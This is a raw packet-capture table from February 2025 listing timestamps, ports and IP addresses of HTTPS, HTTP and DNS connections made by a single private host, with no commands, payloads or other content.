Feb 19, 2025 20:43:20.752764940 CET	49707	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:20.752810001 CET	443	49707	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:20.800915003 CET	49707	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:20.835964918 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:20.836236954 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:20.836258888 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:20.837733984 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:20.837810040 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:20.839046955 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:20.839046955 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:20.839059114 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:20.839123964 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:20.843609095 CET	443	49711	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:20.843832970 CET	49711	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:20.843844891 CET	443	49711	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:20.845473051 CET	443	49711	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:20.845551968 CET	49711	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:20.846419096 CET	49711	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:20.846506119 CET	443	49711	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:20.858689070 CET	443	49707	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:20.858784914 CET	443	49707	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:20.858820915 CET	443	49707	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:20.858858109 CET	443	49707	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:20.858911037 CET	443	49707	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:20.858988047 CET	49707	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:20.858989000 CET	49707	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:20.859061956 CET	443	49707	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:20.859117031 CET	49707	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:20.859381914 CET	443	49707	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:20.859458923 CET	443	49707	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:20.860043049 CET	443	49707	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:20.860110998 CET	49707	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:20.860129118 CET	443	49707	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:20.862056971 CET	49707	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:20.863668919 CET	443	49707	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:20.880975962 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:20.880987883 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:20.896775007 CET	49711	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:20.896783113 CET	443	49711	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:20.912772894 CET	49707	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:20.912838936 CET	443	49707	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:20.928894043 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:20.944782972 CET	49711	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:20.949209929 CET	443	49707	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:20.949268103 CET	443	49707	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:20.949439049 CET	49707	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:20.949475050 CET	443	49707	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:20.949855089 CET	443	49707	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:20.949897051 CET	443	49707	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:20.949914932 CET	49707	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:20.949932098 CET	443	49707	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:20.949961901 CET	49707	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:20.950387001 CET	443	49707	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:20.950431108 CET	443	49707	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:20.950489044 CET	49707	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:20.950495958 CET	443	49707	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:20.950511932 CET	443	49707	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:20.950571060 CET	49707	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:20.951164961 CET	443	49707	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:20.951217890 CET	49707	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:20.951229095 CET	443	49707	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:20.951306105 CET	443	49707	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:20.951354027 CET	443	49707	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:20.951376915 CET	49707	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:20.951390028 CET	443	49707	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:20.951447964 CET	49707	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:20.952066898 CET	443	49707	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:20.952156067 CET	443	49707	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:20.952195883 CET	443	49707	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:20.952244997 CET	49707	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:20.952258110 CET	443	49707	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:20.952984095 CET	443	49707	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:20.953049898 CET	49707	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:20.953051090 CET	443	49707	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:20.953066111 CET	443	49707	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:20.953116894 CET	49707	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:20.994849920 CET	443	49707	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:21.040013075 CET	443	49707	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:21.040086985 CET	49707	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:21.040127993 CET	443	49707	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:21.040149927 CET	443	49707	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:21.040194988 CET	49707	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:21.040405035 CET	49707	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:21.040424109 CET	443	49707	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:21.436475992 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.436547995 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.436589956 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.436624050 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.436646938 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.436661959 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.436697960 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.436714888 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.436827898 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.436832905 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.441418886 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.441457033 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.441485882 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.441543102 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.441556931 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.441556931 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.441564083 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.441766977 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.523377895 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.523473024 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.523627996 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.523643017 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.523713112 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.523952007 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.523996115 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.524014950 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.524022102 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.524063110 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.524439096 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.524487019 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.524525881 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.524555922 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.524563074 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.524575949 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.524614096 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.524614096 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.524621964 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.525367022 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.525414944 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.525450945 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.525485039 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.525502920 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.525502920 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.525509119 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.525543928 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.525574923 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.525599003 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.525604963 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.525620937 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.526209116 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.526515961 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.526520967 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.566788912 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.566806078 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.610510111 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.610558033 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.610568047 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.610579014 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.610605955 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.610616922 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.610621929 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.610660076 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.610780954 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.610788107 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.610822916 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.610848904 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.610867023 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.610874891 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.610904932 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.611171007 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.611206055 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.611231089 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.611232042 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.611242056 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.611277103 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.611277103 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.628587961 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.628667116 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.628678083 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.629122019 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.629173994 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.629175901 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.629189968 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.629235983 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.629337072 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.629394054 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.629404068 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.629458904 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.629556894 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.629607916 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.629663944 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.629728079 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.629766941 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.629772902 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.629801035 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.629801035 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.629801035 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.629813910 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.629859924 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.697666883 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.697717905 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.697761059 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.697774887 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.697793007 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.697819948 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.697918892 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.697973967 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.697999954 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.698059082 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.698117971 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.698169947 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.698210001 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.698324919 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.698563099 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.698609114 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.698738098 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.698790073 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.715544939 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.715653896 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.715770006 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.715826988 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.715940952 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.715993881 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.716052055 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.716109991 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.716144085 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.716192961 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.716300011 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.716356039 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.716579914 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.716635942 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.716660976 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.716718912 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.717029095 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.717082977 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.717096090 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.717144012 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.717220068 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.717273951 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.717298031 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.717354059 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.717902899 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.717966080 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.717978001 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.718029022 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.718060017 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.718110085 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.718178988 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.718215942 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.718221903 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.718229055 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.718261957 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.784645081 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.784668922 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.784755945 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.784773111 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.784804106 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.784816027 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.784893036 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.785181999 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.785578012 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.785592079 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.785653114 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.785659075 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.785702944 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.786127090 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.786144018 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.786192894 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.786197901 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.786236048 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.802743912 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.802763939 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.802859068 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.802866936 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.802891016 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.802913904 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.802926064 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.805138111 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.805227041 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.805354118 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.805414915 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.808989048 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.809005022 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.809062958 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.809072018 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.809109926 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.809756041 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.809771061 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.810100079 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.810113907 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.810153961 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.871736050 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.871759892 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.871855021 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.871874094 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.871927977 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.872035980 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.872055054 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.872109890 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.872116089 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.872153997 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.872802019 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.872817993 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.872879982 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.872886896 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.872929096 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.873372078 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.873411894 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.873464108 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.873471975 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.873507023 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.889863968 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.889890909 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.889983892 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.890007019 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.890053988 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.895668983 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.895689011 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.895782948 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.895802021 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.895843983 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.896195889 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.896213055 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.896284103 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.896289110 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.896327019 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.896697044 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.896711111 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.896763086 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.896768093 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.896816969 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.896941900 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.896991968 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.897011995 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.897048950 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.897070885 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.897087097 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.897092104 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.897147894 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.897182941 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.897234917 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:21.897249937 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:21.954813957 CET	49713	53	192.168.2.16	1.1.1.1
Feb 19, 2025 20:43:21.959867001 CET	53	49713	1.1.1.1	192.168.2.16
Feb 19, 2025 20:43:21.959980965 CET	49713	53	192.168.2.16	1.1.1.1
Feb 19, 2025 20:43:21.960084915 CET	49713	53	192.168.2.16	1.1.1.1
Feb 19, 2025 20:43:21.960102081 CET	49713	53	192.168.2.16	1.1.1.1
Feb 19, 2025 20:43:21.960150957 CET	49713	53	192.168.2.16	1.1.1.1
Feb 19, 2025 20:43:21.960513115 CET	49714	443	192.168.2.16	151.101.66.137
Feb 19, 2025 20:43:21.960589886 CET	443	49714	151.101.66.137	192.168.2.16
Feb 19, 2025 20:43:21.960649967 CET	49714	443	192.168.2.16	151.101.66.137
Feb 19, 2025 20:43:21.961009026 CET	49714	443	192.168.2.16	151.101.66.137
Feb 19, 2025 20:43:21.961020947 CET	443	49714	151.101.66.137	192.168.2.16
Feb 19, 2025 20:43:21.961870909 CET	49691	80	192.168.2.16	2.23.77.188
Feb 19, 2025 20:43:21.962066889 CET	49689	80	192.168.2.16	192.229.211.108
Feb 19, 2025 20:43:21.963834047 CET	49715	443	192.168.2.16	104.18.95.41
